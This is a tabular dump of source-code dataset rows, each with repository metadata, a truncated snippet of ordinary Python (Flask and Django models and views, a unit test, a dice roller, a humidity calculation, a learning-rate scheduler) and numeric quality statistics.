# lowering clip_above changes the max value in the color scale
#geoplotlib.k... | 28.565217 | 70 | 0.765601 | 102 | 657 | 4.823529 | 0.5 | 0.132114 | 0.172764 | 0.193089 | 0.252033 | 0.211382 | 0.126016 | 0.126016 | 0.126016 | 0 | 0 | 0.028716 | 0.098935 | 657 | 22 | 71 | 29.863636 | 0.802365 | 0.611872 | 0 | 0 | 0 | 0 | 0.091286 | 0.091286 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
4c0b7e45de057877fa8b529e343ead72a78e8243 | 852 | py | Python | pertemuan_6/2_Flask_Security_Registration_Custom/app/models.py | Muhammad-Yunus/Flask-Web-Development | c13e3fda30151b1155242abe4532d5f4d7bc120e | [
"Apache-2.0"
] | null | null | null | pertemuan_6/2_Flask_Security_Registration_Custom/app/models.py | Muhammad-Yunus/Flask-Web-Development | c13e3fda30151b1155242abe4532d5f4d7bc120e | [
"Apache-2.0"
] | null | null | null | pertemuan_6/2_Flask_Security_Registration_Custom/app/models.py | Muhammad-Yunus/Flask-Web-Development | c13e3fda30151b1155242abe4532d5f4d7bc120e | [
"Apache-2.0"
] | null | null | null | from . import db
from flask_security import UserMixin
from flask_security import RoleMixin
# Define models
roles_users = db.Table('roles_users',
db.Column('user_id', db.Integer(), db.ForeignKey('user.id')),
db.Column('role_id', db.Integer(), db.ForeignKey('role.id')))
class Role(db.Model, RoleMixin):... | 38.727273 | 72 | 0.671362 | 119 | 852 | 4.722689 | 0.344538 | 0.142349 | 0.142349 | 0.113879 | 0.300712 | 0.117438 | 0.117438 | 0.117438 | 0 | 0 | 0 | 0.015603 | 0.172535 | 852 | 22 | 72 | 38.727273 | 0.78156 | 0.015258 | 0 | 0 | 0 | 0 | 0.065632 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.055556 | 0.166667 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
4c1d927c0c90c756d1c7bfc781af46b2e296ff88 | 928 | py | Python | src/screenshot/migrations/0004_imagehash.py | lucemia/autoplay | 4b5e323cb61f909cf10cbc76d53155bced0377dd | [
"MIT"
] | null | null | null | src/screenshot/migrations/0004_imagehash.py | lucemia/autoplay | 4b5e323cb61f909cf10cbc76d53155bced0377dd | [
"MIT"
] | 10 | 2016-12-04T05:26:21.000Z | 2016-12-11T02:20:59.000Z | src/screenshot/migrations/0004_imagehash.py | lucemia/autoplay | 4b5e323cb61f909cf10cbc76d53155bced0377dd | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-12-11 11:26
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('screenshot', '0003_auto_20161211_0139'),
]
operatio... | 33.142857 | 126 | 0.610991 | 98 | 928 | 5.622449 | 0.581633 | 0.108893 | 0.130672 | 0.174229 | 0.196007 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063401 | 0.252155 | 928 | 27 | 127 | 34.37037 | 0.730548 | 0.072198 | 0 | 0 | 1 | 0 | 0.113054 | 0.051282 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.15 | 0 | 0.3 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
4c295291550ed57d4fa9bd129b82a466e66933bf | 854 | py | Python | function/python/brightics/function/classification/test/classification_test.py | janrenz/studio | a0714ed8dcd9dcd8d024162104d3b4de89ac2b49 | [
"Apache-2.0"
] | null | null | null | function/python/brightics/function/classification/test/classification_test.py | janrenz/studio | a0714ed8dcd9dcd8d024162104d3b4de89ac2b49 | [
"Apache-2.0"
] | null | null | null | function/python/brightics/function/classification/test/classification_test.py | janrenz/studio | a0714ed8dcd9dcd8d024162104d3b4de89ac2b49 | [
"Apache-2.0"
] | null | null | null | import unittest
from brightics.function.classification import svc_train, svc_predict
from brightics.function.transform import train_test_split
import pandas as pd
import numpy as np
from sklearn import svm
import matplotlib.pyplot as plt
class SVMTest(unittest.TestCase):
def test1(self):
... | 29.448276 | 115 | 0.637002 | 109 | 854 | 4.715596 | 0.422018 | 0.023346 | 0.070039 | 0.066148 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007962 | 0.264637 | 854 | 29 | 116 | 29.448276 | 0.81051 | 0.010539 | 0 | 0 | 0 | 0 | 0.143207 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.411765 | 0 | 0.529412 | 0.117647 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4c50720e79510e6ef30a43f55b91402bb319712c | 376 | py | Python | uri/python/1050.py | el-cardu/challenges | 836453415e08b04e08d4e10d2f69257052551fa6 | [
"Unlicense"
] | null | null | null | uri/python/1050.py | el-cardu/challenges | 836453415e08b04e08d4e10d2f69257052551fa6 | [
"Unlicense"
] | null | null | null | uri/python/1050.py | el-cardu/challenges | 836453415e08b04e08d4e10d2f69257052551fa6 | [
"Unlicense"
] | null | null | null | DDD = int(input())
if DDD == 61:
print('Brasilia')
elif DDD == 71:
print('Salvador')
elif DDD == 11:
print('Sao Paulo')
elif DDD == 21:
print('Rio de Janeiro')
elif DDD == 32:
print('Juiz de Fora')
elif DDD == 19:
print('Campinas')
elif DDD == 27:
print('Vitoria')
elif DDD == 31:
print(... | 17.904762 | 31 | 0.585106 | 54 | 376 | 4.074074 | 0.555556 | 0.222727 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055944 | 0.239362 | 376 | 20 | 32 | 18.8 | 0.713287 | 0 | 0 | 0 | 0 | 0 | 0.260638 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.473684 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 2 |
4c581c52ba4e760c2057d94db3d4ad884c6697de | 1,758 | py | Python | gchatautorespond/lib/chatworker/throttle.py | merrlyne/gchatautorespond | a7f8d7b715ca9851a65588a268ce39addb906b6d | [
"BSD-2-Clause"
] | null | null | null | gchatautorespond/lib/chatworker/throttle.py | merrlyne/gchatautorespond | a7f8d7b715ca9851a65588a268ce39addb906b6d | [
"BSD-2-Clause"
] | null | null | null | gchatautorespond/lib/chatworker/throttle.py | merrlyne/gchatautorespond | a7f8d7b715ca9851a65588a268ce39addb906b6d | [
"BSD-2-Clause"
] | 1 | 2018-12-03T19:12:24.000Z | 2018-12-03T19:12:24.000Z | import datetime
import logging
from django.db import IntegrityError
from gchatautorespond.apps.autorespond.models import LastResponse
logger = logging.getLogger(__name__)
class Throttler(object):
def __init__(self, throttle_delta):
self.throttle_delta = throttle_delta
def update(self, id):
... | 27.904762 | 112 | 0.655859 | 203 | 1,758 | 5.369458 | 0.295567 | 0.044037 | 0.077982 | 0.033028 | 0.188991 | 0.104587 | 0.07156 | 0.07156 | 0 | 0 | 0 | 0 | 0.244596 | 1,758 | 62 | 113 | 28.354839 | 0.820783 | 0 | 0 | 0.227273 | 0 | 0 | 0.033561 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.090909 | 0.022727 | 0.522727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
4c68fc94b801b404c2d2b79a3ea520b462a95753 | 1,259 | py | Python | com/yoclabo/routing/BrowserHandler.py | YuhichYOC/LogicalDOC-browser | 36fdface73de0635fe1f29d20d081922aae54d1b | [
"Apache-2.0"
] | null | null | null | com/yoclabo/routing/BrowserHandler.py | YuhichYOC/LogicalDOC-browser | 36fdface73de0635fe1f29d20d081922aae54d1b | [
"Apache-2.0"
] | null | null | null | com/yoclabo/routing/BrowserHandler.py | YuhichYOC/LogicalDOC-browser | 36fdface73de0635fe1f29d20d081922aae54d1b | [
"Apache-2.0"
] | null | null | null | #
# BrowserHandler.py
#
# Copyright 2021 Yuichi Yoshii
# 吉井雄一 @ 吉井産業 you.65535.kir@gmail.com
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENS... | 26.229167 | 74 | 0.70135 | 172 | 1,259 | 5.075581 | 0.552326 | 0.068729 | 0.041237 | 0.036655 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.013171 | 0.216044 | 1,259 | 47 | 75 | 26.787234 | 0.871327 | 0.483717 | 0 | 0.1 | 0 | 0 | 0.026941 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.3 | false | 0 | 0.1 | 0.15 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
4c691d0eb5cd376a74399ab971b4ad0be6c170e4 | 437 | py | Python | headerbar/views.py | pptnz/swa_team2 | 253ae83d73c00245d359574d6a16f4eba9830950 | [
"MIT"
] | null | null | null | headerbar/views.py | pptnz/swa_team2 | 253ae83d73c00245d359574d6a16f4eba9830950 | [
"MIT"
] | 3 | 2018-06-07T17:18:16.000Z | 2021-06-10T20:19:27.000Z | headerbar/views.py | pptnz/swa_team2 | 253ae83d73c00245d359574d6a16f4eba9830950 | [
"MIT"
] | 1 | 2018-06-25T23:52:57.000Z | 2018-06-25T23:52:57.000Z | from django.contrib import messages
from django.http import HttpResponseRedirect
from django.contrib.auth import logout
from django.views.decorators.http import require_http_methods
@require_http_methods(['GET'])
def sign_out(request):
"""
Sign out from the site.
"""
if request.user.is_authenticated:
... | 27.3125 | 61 | 0.741419 | 53 | 437 | 5.981132 | 0.528302 | 0.126183 | 0.107256 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.162471 | 437 | 15 | 62 | 29.133333 | 0.86612 | 0.052632 | 0 | 0 | 0 | 0 | 0.055276 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.4 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
4c78a34cd35453205fead40fbde3dff6157c5fc3 | 34,615 | py | Python | projects/project3/wumpus/search.py | aderbique/CSE571 | e7cde945fa7850a2566085a2bfb47eceb82d6bf0 | [
"Apache-2.0"
] | 1 | 2020-05-31T02:56:50.000Z | 2020-05-31T02:56:50.000Z | projects/project3/wumpus/search.py | aderbique/CSE571 | e7cde945fa7850a2566085a2bfb47eceb82d6bf0 | [
"Apache-2.0"
] | null | null | null | projects/project3/wumpus/search.py | aderbique/CSE571 | e7cde945fa7850a2566085a2bfb47eceb82d6bf0 | [
"Apache-2.0"
] | null | null | null | # search.py
# ---------
# Licensing Information:
# Please DO NOT DISTRIBUTE OR PUBLISH solutions to this project.
# You are free to use and extend these projects for EDUCATIONAL PURPOSES ONLY.
# The Hunt The Wumpus AI project was developed at University of Arizona
# by Clay Morrison (clayton@sista.arizona.edu), spring ... | 38.980856 | 1,065 | 0.633078 | 4,801 | 34,615 | 4.232868 | 0.209123 | 0.0124 | 0.008661 | 0.006692 | 0.158941 | 0.128039 | 0.105403 | 0.080012 | 0.06835 | 0.062543 | 0 | 0.023099 | 0.264596 | 34,615 | 887 | 1,066 | 39.024803 | 0.77522 | 0.094439 | 0 | 0.2 | 0 | 0.005085 | 0.160824 | 0.017359 | 0 | 0 | 0 | 0 | 0.001695 | 0 | null | null | 0 | 0.00339 | null | null | 0.015254 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
d5b50bfc199e49ba7443e154a663b2613f3634d7 | 1,925 | py | Python | PyloDiceRoller.py | Raptor2022/PolyDiceRoller | 8222a46aeaa3c809eb87eff702d067a9093742fd | [
"MIT"
] | null | null | null | PyloDiceRoller.py | Raptor2022/PolyDiceRoller | 8222a46aeaa3c809eb87eff702d067a9093742fd | [
"MIT"
] | null | null | null | PyloDiceRoller.py | Raptor2022/PolyDiceRoller | 8222a46aeaa3c809eb87eff702d067a9093742fd | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright 2018 - RaptorRants
from Actions.DiceWorking import DicePool, WorkTheDice
import os
def main():
try:
while True:
os.system('cls' if os.name == 'nt' else 'clear')
print('1: Add Dice to Rolling Pool')
print('2: View Rolling Pool')
... | 33.189655 | 66 | 0.473247 | 182 | 1,925 | 4.950549 | 0.368132 | 0.066593 | 0.099889 | 0.113208 | 0.304107 | 0.304107 | 0.304107 | 0.304107 | 0.221976 | 0.221976 | 0 | 0.016874 | 0.415065 | 1,925 | 57 | 67 | 33.77193 | 0.783304 | 0.025974 | 0 | 0.326923 | 0 | 0 | 0.207154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019231 | false | 0.076923 | 0.038462 | 0 | 0.057692 | 0.423077 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 2 |
d5b675fac75f3c3dd5fdd7a5c5fd4bf8b0c4b51b | 1,908 | py | Python | src/arcclimate/mixing_ratio.py | DEE-BRI/arcclimate | aaa4aedbeaa0d5a3213b002f3a053d2934edfd44 | [
"MIT"
] | null | null | null | src/arcclimate/mixing_ratio.py | DEE-BRI/arcclimate | aaa4aedbeaa0d5a3213b002f3a053d2934edfd44 | [
"MIT"
] | null | null | null | src/arcclimate/mixing_ratio.py | DEE-BRI/arcclimate | aaa4aedbeaa0d5a3213b002f3a053d2934edfd44 | [
"MIT"
] | 1 | 2022-03-08T01:04:47.000Z | 2022-03-08T01:04:47.000Z | """
重量絶対湿度の計算モジュール
"""
import numpy as np
def get_corrected_mixing_ratio(
MR: np.ndarray, TMP: np.ndarray, PRES: np.ndarray
) -> np.ndarray:
"""重量絶対湿度の標高補正
Args:
MR(np.ndarray): 補正前重量絶対湿度 (Mixing Ratio) [g/kg(DA)]
TMP(np.ndarray): 気温 [C]
PRES(np.ndarray): 気圧 [hPa]
Returns:
n... | 19.875 | 70 | 0.539308 | 265 | 1,908 | 3.822642 | 0.290566 | 0.266535 | 0.054294 | 0.088845 | 0.257651 | 0.061204 | 0.061204 | 0.061204 | 0 | 0 | 0 | 0.062921 | 0.300314 | 1,908 | 95 | 71 | 20.084211 | 0.69588 | 0.42086 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.043478 | 0 | 0.478261 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
d5c1c1e1a522f54ac58bf05c64825c3d9a82ba17 | 749 | py | Python | myCode/LR_scheduler.py | ygCoconut/MRIreconUNET | 4f03cea30590f676f4e63fd5817e06396983acb7 | [
"Apache-2.0"
] | 8 | 2019-11-08T07:49:40.000Z | 2022-02-25T08:11:02.000Z | myCode/LR_scheduler.py | ygCoconut/MRIreconUNET | 4f03cea30590f676f4e63fd5817e06396983acb7 | [
"Apache-2.0"
] | 1 | 2020-07-12T16:58:09.000Z | 2020-07-23T14:53:20.000Z | myCode/LR_scheduler.py | ygCoconut/MRIreconUNET | 4f03cea30590f676f4e63fd5817e06396983acb7 | [
"Apache-2.0"
] | 2 | 2019-11-08T07:49:48.000Z | 2021-07-22T05:33:30.000Z | # This code has been copied from Thomas Dehaene.
# https://towardsdatascience.com/adaptive-and-cyclical-learning-rates-using-pytorch-2bf904d18dee
# Also this code is described by Jeremy Howard, fast.ai.
import math
def cyclical_lr(stepsize, min_lr=3e-2, max_lr=3e-3):
# Scaler: we can adapt this if we do not wan... | 32.565217 | 96 | 0.678238 | 117 | 749 | 4.273504 | 0.564103 | 0.03 | 0.072 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02921 | 0.222964 | 749 | 22 | 97 | 34.045455 | 0.829897 | 0.464619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
d5c71b9729c780b688fc599650c927a3848f5baf | 440 | py | Python | Ecommerce/admin.py | recentfahim/smartbusinessbd | 61a74ae629f2c6e2317c41da23476c8780446e84 | [
"Apache-2.0"
] | null | null | null | Ecommerce/admin.py | recentfahim/smartbusinessbd | 61a74ae629f2c6e2317c41da23476c8780446e84 | [
"Apache-2.0"
] | null | null | null | Ecommerce/admin.py | recentfahim/smartbusinessbd | 61a74ae629f2c6e2317c41da23476c8780446e84 | [
"Apache-2.0"
] | null | null | null | from django.contrib import admin
from .models import EcommerceHasProduct, EcommerceSite, Partnership, SellRecord, StoreProduct, \
StoreProductTransaction, ProductTransaction
admin.site.register(EcommerceHasProduct)
admin.site.register(EcommerceSite)
admin.site.register(Partnership)
admin.site.register(SellRecord)... | 33.846154 | 96 | 0.852273 | 43 | 440 | 8.72093 | 0.348837 | 0.168 | 0.317333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063636 | 440 | 12 | 97 | 36.666667 | 0.910194 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.2 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.